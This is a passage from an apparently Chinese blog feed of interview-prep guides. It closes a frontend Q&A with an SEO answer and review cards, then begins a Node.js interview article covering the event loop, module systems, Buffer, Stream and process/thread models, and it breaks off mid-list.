&lt;h3&gt;Q24：前端 SEO 优化你实际做过哪些？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;渲染策略&lt;/strong&gt;：核心内容 SSR/SSG 化，保证爬虫拿到完整 HTML（Next.js 的 metadata API 管理 TDK、Open Graph、canonical）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结构化数据&lt;/strong&gt;：JSON-LD 标注商品、文章、面包屑，争取富媒体摘要；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能即 SEO&lt;/strong&gt;：Core Web Vitals（LCP/INP/CLS）是排名因子，性能治理和 SEO 是同一件事；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工程细节&lt;/strong&gt;：sitemap 自动生成与提交、robots 管理、多语言 hreflang 标注、URL 规范化（去参数化、统一大小写与尾斜杠）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;验证&lt;/strong&gt;：Search Console 监控收录与展现，配合日志分析爬虫抓取行为，确认 SSR 内容真实可达。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片速记&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;24 问核心结论一句话速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;双栈选型&lt;/strong&gt;：看团队基因 + 业务形态 + 渲染目标，不看&quot;谁更好&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应式本质&lt;/strong&gt;：Vue 把优化做在框架里，React 把优化交给开发者&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TS 落地&lt;/strong&gt;：严格模式渐进 + 类型收口 + 公共类型库；收益在&quot;改&quot;不在&quot;写&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSR/SSG/ISR&lt;/strong&gt;：ISR = stale-while-revalidate，折中性能与时效&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSR 坑&lt;/strong&gt;：环境判断 + 数据瀑布流 + hydration mismatch + 缓存分层&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Konva 图层&lt;/strong&gt;：按&quot;更新频率&quot;分层，高频层重绘不波及静态层&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2D×3D 协同&lt;/strong&gt;：纹理做单向数据流，UV 坐标映射做交互回流&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置驱动&lt;/strong&gt;：把组合问题从代码空间搬到配置空间（N×M×K → 一份约束）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hybrid 架构&lt;/strong&gt;：桥接层抽象 + 能力探测（非宿主嗅探）+ 协议版本化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;N-API 硬件&lt;/strong&gt;：ThreadSafeFunction 回抛 + 状态机 + 背压丢帧 + 崩溃隔离&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;离线包&lt;/strong&gt;：manifest 差量 + 原子切换 + 自动回滚 + 签名防降级&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构建调优&lt;/strong&gt;：尽头是缓存和任务图，不是调参&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;字体裁剪&lt;/strong&gt;：子集化 + unicode-range 分片 + 授权替换&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渲染性能&lt;/strong&gt;：度量 → 归因 → 治理 → 防劣化（CI 门禁）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;埋点体系&lt;/strong&gt;：分层采集 + 声明式优先 + 异常串联 breadcrumb&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状态选型&lt;/strong&gt;：业务流转型用 Redux，工具/视图型用 zustand&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;逻辑收敛&lt;/strong&gt;：第三次重复再抽象，前两次忍住&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BFF&lt;/strong&gt;：薄层聚合 + 裁剪整形 + 端侧逻辑上收，不承载核心事务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多语种&lt;/strong&gt;：文案 key 化 + 构建/运行双缺失监控 + 按需加载&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多语言字体&lt;/strong&gt;：字符集裁剪 + 授权映射 + RTL 逻辑属性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI 协作流&lt;/strong&gt;：spec 先行 + TDD + 实施计划 + 行级归因&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI 工具链&lt;/strong&gt;：Claude Code 主力 + Skill 固化流程 + MCP 打通内部系统&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运维程度&lt;/strong&gt;：能独立完成&quot;部署与排障闭环&quot;即可，不需 SRE 深度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO&lt;/strong&gt;：SSR/SSG 化 + 结构化数据 + 性能即 SEO + 工程细节&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
这份问答覆盖的能力版图，本质上是同一条主线：&lt;strong&gt;把复杂问题收敛为可维护的系统&lt;/strong&gt;——组合爆炸的渲染需求收敛为配置驱动、多宿主的碎片化收敛为统一 Bridge 抽象、重复的业务逻辑收敛为共用组件与 hook、模糊的研发流程收敛为 spec + TDD 的人机协作规范。框架和工具会过时，&quot;收敛&quot;的方法论不会。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
上面 24 问给出了&quot;怎么想&quot;的答案，如果想看这些方案&lt;strong&gt;如何完整落地&lt;/strong&gt;（四层架构、求解器代码、CanvasTexture 单向数据流、N-API 桥接、离线包 manifest、AI 协作流），请继续阅读实战深化篇：&lt;a href=&quot;/blog/posts/interview-guide-21-frontend-deep-practice/&quot;&gt;前端深水区实战&lt;/a&gt;，把五个最有复用价值的实践从&quot;分析 → 设计 → 落地 → 治理&quot;完整拆解。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Node.js 面试题专篇（前端全栈必备）</title><link>http://117.72.32.87/blog/posts/interview-guide-19-nodejs/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-19-nodejs/</guid><description>讲解 Node.js 事件循环、模块系统、Stream、Buffer、进程线程、HTTP 服务器、Express/Koa/NestJS 对比、性能优化、部署运维等前端全栈必备知识。</description><pubDate>Wed, 16 Sep 2026 15:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 25+ 道 Node.js 面试题，面向需要掌握服务端开发的中高级前端工程师（全栈/BFF/SSR 场景），难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Node.js 基础&lt;/h2&gt;
&lt;h3&gt;Q1: Node.js 是什么？特点和适用场景？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Node.js 是基于 &lt;strong&gt;V8 引擎&lt;/strong&gt;的 JavaScript 运行时，让 JS 能脱离浏览器运行在服务器端。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心特点：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;单线程&lt;/td&gt;
&lt;td&gt;主线程只有一个（避免线程切换开销）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;非阻塞 I/O&lt;/td&gt;
&lt;td&gt;文件/网络 I/O 交给底层 libuv，主线程不等待&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;事件驱动&lt;/td&gt;
&lt;td&gt;通过事件循环处理异步回调&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;高并发&lt;/td&gt;
&lt;td&gt;单进程可处理数万连接（相比传统多线程模型）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;跨平台&lt;/td&gt;
&lt;td&gt;Windows / Linux / macOS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;架构分层：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌───────────────────────────────────┐
│  JS 代码（业务逻辑）              │
├───────────────────────────────────┤
│  Node.js 标准库                   │
│  (http/fs/net/stream/events...)  │
├───────────────────────────────────┤
│  C++ Bindings（JS ↔ C++ 桥接）    │
├──────────────────┬────────────────┤
│   V8 引擎        │    libuv       │
│  （执行 JS）      │ （异步 I/O）    │
└──────────────────┴────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;适用场景：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;原因&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BFF 中间层&lt;/td&gt;
&lt;td&gt;前端主导，接口聚合、数据裁剪&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSR / SSG&lt;/td&gt;
&lt;td&gt;Next.js / Nuxt / Astro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;实时应用&lt;/td&gt;
&lt;td&gt;聊天、协同、直播（长连接）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;I/O 密集 API&lt;/td&gt;
&lt;td&gt;高并发读写数据库、代理转发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;微服务&lt;/td&gt;
&lt;td&gt;轻量、启动快、容器友好&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CLI 工具&lt;/td&gt;
&lt;td&gt;前端脚手架、构建工具（Vite/eslint）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Serverless&lt;/td&gt;
&lt;td&gt;冷启动快，按需付费&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;不适用场景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CPU 密集任务（视频编码、大量数学运算、图像处理）—— 单线程会阻塞&lt;/li&gt;
&lt;li&gt;强事务、复杂业务逻辑的传统企业应用（Java 生态更成熟）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q2: Node.js 单线程为什么能支持高并发？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;传统多线程模型（Apache 老版本）：
每个请求 → 创建一个线程 → 阻塞等待 I/O → 返回响应
问题：
- 线程创建/切换开销大
- 内存占用高（每线程 ~1MB 栈）
- C10K 问题（万级连接就撑不住）

Node.js 事件驱动模型：
每个请求 → 注册回调 → 立即返回 → 主线程处理下一个请求
       ↓ I/O 完成
    libuv 线程池处理 → 事件循环触发回调 → 返回响应

关键点：
1. 主线程不阻塞：I/O 交给操作系统 / libuv 线程池
2. 单线程避免了锁竞争和上下文切换
3. 内存占用低：每连接 ~几 KB
4. libuv 默认线程池 4 个（可调 UV_THREADPOOL_SIZE 至 1024）

真实数据：
- Node.js 单进程可支持 5万+ 并发连接
- 传统 Apache 每线程模型：几千连接就 OOM
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问：单线程如何处理 CPU 密集任务？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Worker Threads（Node 12+）&lt;/li&gt;
&lt;li&gt;Child Process（fork）&lt;/li&gt;
&lt;li&gt;Cluster（多进程利用多核）&lt;/li&gt;
&lt;li&gt;任务拆分 + setImmediate（让出事件循环）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;模块系统&lt;/h2&gt;
&lt;h3&gt;Q3: CommonJS 和 ES Module 的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;CommonJS (CJS)&lt;/th&gt;
&lt;th&gt;ES Module (ESM)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;语法&lt;/td&gt;
&lt;td&gt;&lt;code&gt;require&lt;/code&gt; / &lt;code&gt;module.exports&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;import&lt;/code&gt; / &lt;code&gt;export&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;加载时机&lt;/td&gt;
&lt;td&gt;运行时（同步）&lt;/td&gt;
&lt;td&gt;编译时（静态分析）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;值&lt;/td&gt;
&lt;td&gt;拷贝（值传递）&lt;/td&gt;
&lt;td&gt;引用（实时绑定）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;this&lt;/td&gt;
&lt;td&gt;当前模块&lt;/td&gt;
&lt;td&gt;undefined&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;顶层 await&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tree Shaking&lt;/td&gt;
&lt;td&gt;❌（动态无法分析）&lt;/td&gt;
&lt;td&gt;✅（静态结构）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文件扩展名&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.js&lt;/code&gt;（默认）/ &lt;code&gt;.cjs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.mjs&lt;/code&gt; 或 package.json 声明 &lt;code&gt;&quot;type&quot;: &quot;module&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node 支持&lt;/td&gt;
&lt;td&gt;原生&lt;/td&gt;
&lt;td&gt;Node 12+ 支持，14+ 稳定&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// CommonJS
// lib.cjs
module.exports = { foo: 1 };
// main.cjs
const { foo } = require(&apos;./lib.cjs&apos;);
console.log(foo);  // 1

// ES Module
// lib.mjs
export const foo = 1;
// main.mjs
import { foo } from &apos;./lib.mjs&apos;;
console.log(foo);  // 1

// 值 vs 引用（关键区别）
// CJS：拷贝，修改 exports 后 require 的还是旧值
// counter.cjs
let count = 0;
setTimeout(() =&amp;gt; count = 100, 1000);
module.exports = { count };
// main.cjs
const { count } = require(&apos;./counter.cjs&apos;);
setTimeout(() =&amp;gt; console.log(count), 2000);  // 0（拷贝的旧值）

// ESM：引用绑定，实时读取
// counter.mjs
export let count = 0;
setTimeout(() =&amp;gt; count = 100, 1000);
// main.mjs
import { count } from &apos;./counter.mjs&apos;;
setTimeout(() =&amp;gt; console.log(count), 2000);  // 100（实时读取）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: Node.js 中如何混用 CJS 和 ESM？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// ESM 中导入 CJS：可以，但只能默认导入
// lib.cjs
module.exports = { foo: 1, bar: 2 };
// main.mjs
import lib from &apos;./lib.cjs&apos;;         // ✅ 默认导入整个 exports
import { foo } from &apos;./lib.cjs&apos;;     // ⚠️ Node 14+ 支持命名导入（有限）

// CJS 中导入 ESM：只能用动态 import()
// main.cjs
async function load() {
  const { foo } = await import(&apos;./lib.mjs&apos;);   // ✅
}
// const { foo } = require(&apos;./lib.mjs&apos;);       // ❌ 报错

// package.json 决定默认模块类型
{
  &quot;type&quot;: &quot;module&quot;    // 该包下 .js 默认按 ESM 解析
  // 或 &quot;type&quot;: &quot;commonjs&quot;（默认）
}
// 显式指定：.cjs 强制 CJS，.mjs 强制 ESM

// 双模式包（同时支持 CJS 和 ESM）：
{
  &quot;main&quot;: &quot;./dist/index.cjs&quot;,
  &quot;module&quot;: &quot;./dist/index.mjs&quot;,
  &quot;exports&quot;: {
    &quot;.&quot;: {
      &quot;import&quot;: &quot;./dist/index.mjs&quot;,
      &quot;require&quot;: &quot;./dist/index.cjs&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: require 的查找过程？循环依赖怎么处理？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;require(&apos;xxx&apos;) 查找顺序：

1. 核心模块（http/fs/path 等）→ 直接返回
2. 路径模块（./ ../ /）→ 按路径查找
3. 非路径模块（lodash）→ node_modules 查找
   从当前目录逐级向上查找 node_modules
   找到后：
   a. 有 package.json 且声明 main → 加载 main
   b. 无 package.json 或无 main → 依次尝试
      index.js → index.json → index.node

文件扩展名解析顺序：
.js → .json → .node（C++ 插件）→ .mjs（ESM）

模块缓存：
- 加载过的模块缓存在 require.cache
- 同一模块多次 require 只执行一次
- 可通过 delete require.cache[路径] 强制重载（测试常用）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 循环依赖示例
// a.js
console.log(&apos;a 开始&apos;);
exports.done = false;
const b = require(&apos;./b.js&apos;);       // 加载 b，此时 b 拿到 a 的不完整 exports
console.log(&apos;在 a 中，b.done =&apos;, b.done);
exports.done = true;
console.log(&apos;a 结束&apos;);

// b.js
console.log(&apos;b 开始&apos;);
exports.done = false;
const a = require(&apos;./a.js&apos;);       // a 正在加载中，返回已执行部分的 exports
console.log(&apos;在 b 中，a.done =&apos;, a.done);   // false（不完整！）
exports.done = true;
console.log(&apos;b 结束&apos;);

// main.js
const a = require(&apos;./a.js&apos;);
const b = require(&apos;./b.js&apos;);
console.log(&apos;在 main 中，a.done =&apos;, a.done, &apos;b.done =&apos;, b.done);

// 输出：
// a 开始
// b 开始
// 在 b 中，a.done = false     ← 循环依赖拿到不完整的 exports
// b 结束
// 在 a 中，b.done = true
// a 结束
// 在 main 中，a.done = true b.done = true

// Node.js 处理循环依赖的策略：
// 返回&quot;已执行部分&quot;的 exports，不会无限递归
// 但可能导致拿到 undefined，需重构代码避免循环依赖

// ESM 的循环依赖：
// 静态分析 + 实时绑定，可以正确处理，但依然应避免
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;事件循环（Node.js 版本）&lt;/h2&gt;
&lt;h3&gt;Q6: Node.js 事件循环和浏览器有何区别？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Node.js 事件循环（基于 libuv）分 6 个阶段：

   ┌───────────────────────────┐
┌─&amp;gt;│           timers          │  执行 setTimeout/setInterval 回调
│  ├───────────────────────────┤
│  │     pending callbacks     │  执行延迟到下一轮的 I/O 回调
│  ├───────────────────────────┤
│  │       idle, prepare       │  内部使用
│  ├───────────────────────────┤
│  │           poll            │  ★ 最重要：获取新的 I/O 事件
│  │                           │  执行 I/O 回调（文件、网络）
│  │                           │  适当时阻塞等待
│  ├───────────────────────────┤
│  │           check           │  执行 setImmediate 回调
│  ├───────────────────────────┤
│  │      close callbacks      │  执行 close 事件回调
│  └───────────────────────────┘

与浏览器的差异：

1. 微任务清空时机
   浏览器：每次宏任务后清空
   Node 11 前：每【阶段】结束后清空
   Node 11+：与浏览器对齐（每个宏任务后清空）

2. 独有 API
   process.nextTick：优先级最高，当前操作完成后立即执行
   setImmediate：check 阶段执行

3. 优先级顺序：
   process.nextTick &amp;gt; Promise.then &amp;gt; setTimeout ≈ setImmediate
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 经典输出题
setTimeout(() =&amp;gt; console.log(&apos;timeout&apos;), 0);
setImmediate(() =&amp;gt; console.log(&apos;immediate&apos;));
// 主模块中：顺序不确定（取决于进程启动耗时）
// 若在 I/O 回调中：immediate 总是先执行

// process.nextTick vs Promise
Promise.resolve().then(() =&amp;gt; console.log(&apos;promise&apos;));
process.nextTick(() =&amp;gt; console.log(&apos;nextTick&apos;));
// 输出：nextTick → promise

// nextTick 递归会阻塞事件循环！
function recursive() {
  process.nextTick(recursive);   // 永远轮不到 I/O
}
// 应该用 setImmediate 递归

// 综合题
async function async1() {
  console.log(&apos;async1 start&apos;);
  await async2();
  console.log(&apos;async1 end&apos;);
}
async function async2() { console.log(&apos;async2&apos;); }
console.log(&apos;script start&apos;);
setTimeout(() =&amp;gt; console.log(&apos;setTimeout&apos;), 0);
async1();
new Promise(resolve =&amp;gt; {
  console.log(&apos;promise1&apos;);
  resolve();
}).then(() =&amp;gt; console.log(&apos;promise2&apos;));
console.log(&apos;script end&apos;);

// 输出顺序：
// script start
// async1 start
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Buffer 与 Stream&lt;/h2&gt;
&lt;h3&gt;Q7: Buffer 是什么？为什么需要它？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Buffer：Node.js 提供的二进制数据容器
// JS 原生只有字符串和数组，无法高效处理 TCP 流、文件、图片等二进制数据

// 创建 Buffer
const buf1 = Buffer.alloc(10);              // 10 字节，初始化为 0
const buf2 = Buffer.allocUnsafe(10);        // 10 字节，未初始化（快但可能泄漏旧数据）
const buf3 = Buffer.from([1, 2, 3]);        // 从数组
const buf4 = Buffer.from(&apos;hello&apos;);          // 从字符串（默认 utf-8）
const buf5 = Buffer.from(&apos;hello&apos;, &apos;base64&apos;);// 指定编码

// 编码转换
buf4.toString(&apos;utf8&apos;);      // &apos;hello&apos;
buf4.toString(&apos;base64&apos;);    // &apos;aGVsbG8=&apos;
buf4.toString(&apos;hex&apos;);       // &apos;68656c6c6f&apos;

// 常见操作
Buffer.concat([buf1, buf2]);       // 拼接
buf1.write(&apos;abc&apos;, 0);              // 写入
buf1.slice(0, 5);                  // 切片（共享内存，不是拷贝！）
buf1.equals(buf2);                 // 比较
buf1.length;                       // 字节长度（不是字符长度）

// Buffer vs Uint8Array
// Buffer 是 Uint8Array 的子类，Node.js API 都接受两者
// 但 Buffer 有更多便捷方法（toString/alloc 等）

// 内存管理：
// Buffer 分配在 V8 堆外（不受 GC 精确管理）
// 大量小 Buffer 建议用 Buffer.allocUnsafe + 手动清零
// 或用 Buffer pool（Node 内部有 8KB pool）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q8: Stream 是什么？四种类型？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Stream（流）：处理流式数据的抽象接口
适用于：大文件、实时数据、网络传输

核心优势：
- 内存友好：不用一次性加载全部数据
- 时间友好：边读边处理，不用等全部就绪

四种 Stream 类型：
┌──────────────┬─────────────────────────────┐
│ Readable     │ 可读流（数据源）             │
│              │ 例：fs.createReadStream      │
│              │     process.stdin            │
│              │     http 请求 body           │
├──────────────┼─────────────────────────────┤
│ Writable     │ 可写流（数据目的地）         │
│              │ 例：fs.createWriteStream     │
│              │     process.stdout           │
│              │     http 响应                │
├──────────────┼─────────────────────────────┤
│ Duplex       │ 双向流（既可读又可写）       │
│              │ 例：net.Socket               │
│              │     WebSocket                │
├──────────────┼─────────────────────────────┤
│ Transform    │ 转换流（读写并转换数据）     │
│              │ 例：zlib.createGzip          │
│              │     crypto.createCipheriv     │
└──────────────┴─────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 大文件复制（错误做法：内存爆炸）
const data = fs.readFileSync(&apos;huge.mp4&apos;);      // 4GB 内存！
fs.writeFileSync(&apos;copy.mp4&apos;, data);

// 正确做法：Stream
fs.createReadStream(&apos;huge.mp4&apos;)
  .pipe(fs.createWriteStream(&apos;copy.mp4&apos;));     // 分块传输，内存占用小

// pipe 的进阶用法（gzip 压缩）
fs.createReadStream(&apos;data.txt&apos;)
  .pipe(zlib.createGzip())
  .pipe(fs.createWriteStream(&apos;data.txt.gz&apos;));

// Stream 三大事件
const rs = fs.createReadStream(&apos;data.txt&apos;);
rs.on(&apos;data&apos;, chunk =&amp;gt; console.log(&apos;收到 chunk&apos;, chunk.length));
rs.on(&apos;end&apos;, () =&amp;gt; console.log(&apos;读取完成&apos;));
rs.on(&apos;error&apos;, err =&amp;gt; console.error(&apos;出错&apos;, err));

// 背压（Backpressure）
// 问题：读得快、写得慢 → 数据积压在内存
// pipe 自动处理背压
// 手动处理：
const rs = fs.createReadStream(&apos;in.txt&apos;);
const ws = fs.createWriteStream(&apos;out.txt&apos;);
rs.on(&apos;data&apos;, chunk =&amp;gt; {
  const ok = ws.write(chunk);
  if (!ok) {
    rs.pause();                                  // 暂停读
    ws.once(&apos;drain&apos;, () =&amp;gt; rs.resume());         // 排空后恢复
  }
});

// Stream 组合（pipeline，Node 10+，推荐替代 pipe）
const { pipeline } = require(&apos;stream/promises&apos;);
await pipeline(
  fs.createReadStream(&apos;in.txt&apos;),
  zlib.createGzip(),
  fs.createWriteStream(&apos;in.txt.gz&apos;)
);
// pipeline 优势：自动清理、错误传播、支持 Promise

// Stream 在 Web 标准中的对应
// Node.js Stream ↔ Web Streams API（ReadableStream/WritableStream）
// Node 18+ 两者可互转：Readable.toWeb() / Readable.fromWeb()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;进程、线程与集群&lt;/h2&gt;
&lt;h3&gt;Q9: child_process、cluster、worker_threads 的区别？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;隔离性&lt;/th&gt;
&lt;th&gt;通信&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;child_process&lt;/td&gt;
&lt;td&gt;完全独立进程&lt;/td&gt;
&lt;td&gt;IPC（stdio）&lt;/td&gt;
&lt;td&gt;调用外部命令、独立子任务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cluster&lt;/td&gt;
&lt;td&gt;独立进程，共享端口&lt;/td&gt;
&lt;td&gt;IPC&lt;/td&gt;
&lt;td&gt;多核负载均衡（Web 服务）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;worker_threads&lt;/td&gt;
&lt;td&gt;线程，共享内存&lt;/td&gt;
&lt;td&gt;postMessage / SharedArrayBuffer&lt;/td&gt;
&lt;td&gt;CPU 密集计算&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 1. child_process —— 创建子进程
const { spawn, exec, fork, execFile } = require(&apos;child_process&apos;);

// spawn：流式输出，适合长时间运行、大数据量
const child = spawn(&apos;ls&apos;, [&apos;-la&apos;]);
child.stdout.on(&apos;data&apos;, d =&amp;gt; console.log(d.toString()));
child.on(&apos;close&apos;, code =&amp;gt; console.log(&apos;退出码&apos;, code));

// exec：缓冲输出，适合短命令
exec(&apos;ls -la&apos;, (err, stdout, stderr) =&amp;gt; console.log(stdout));

// fork：spawn 的特例，创建 Node 子进程 + IPC 通道
const worker = fork(&apos;./worker.js&apos;);
worker.send({ task: &apos;compute&apos; });
worker.on(&apos;message&apos;, result =&amp;gt; console.log(result));

// 2. cluster —— 多进程共享端口（利用多核 CPU）
const cluster = require(&apos;cluster&apos;);
const os = require(&apos;os&apos;);

if (cluster.isPrimary) {
  const numCPUs = os.cpus().length;
  for (let i = 0; i &amp;lt; numCPUs; i++) cluster.fork();

  cluster.on(&apos;exit&apos;, (worker) =&amp;gt; {
    console.log(`Worker ${worker.process.pid} 挂了，重启`);
    cluster.fork();                              // 自动重启
  });
} else {
  require(&apos;./server.js&apos;);                        // 每个 Worker 运行 HTTP 服务
  // 内核负责负载均衡（Linux 上由内核分发，Windows 由 primary 轮询）
}

// 3. worker_threads —— 线程（Node 12+）
const { Worker, isMainThread, parentPort, workerData } = require(&apos;worker_threads&apos;);

if (isMainThread) {
  const worker = new Worker(__filename, { workerData: { num: 42 } });
  worker.on(&apos;message&apos;, result =&amp;gt; console.log(&apos;计算结果&apos;, result));
  worker.on(&apos;error&apos;, err =&amp;gt; console.error(err));
} else {
  // 在 worker 线程中执行 CPU 密集任务
  const result = heavyCompute(workerData.num);
  parentPort.postMessage(result);
}

// worker_threads vs child_process：
// - 线程共享内存（SharedArrayBuffer），通信更快
// - 内存开销小（进程 ~30MB，线程 ~5MB）
// - 但隔离性弱，一个线程崩溃可能影响主线程

// 选型建议：
// - Web 服务多核负载均衡 → cluster（生产用 PM2 cluster 模式）
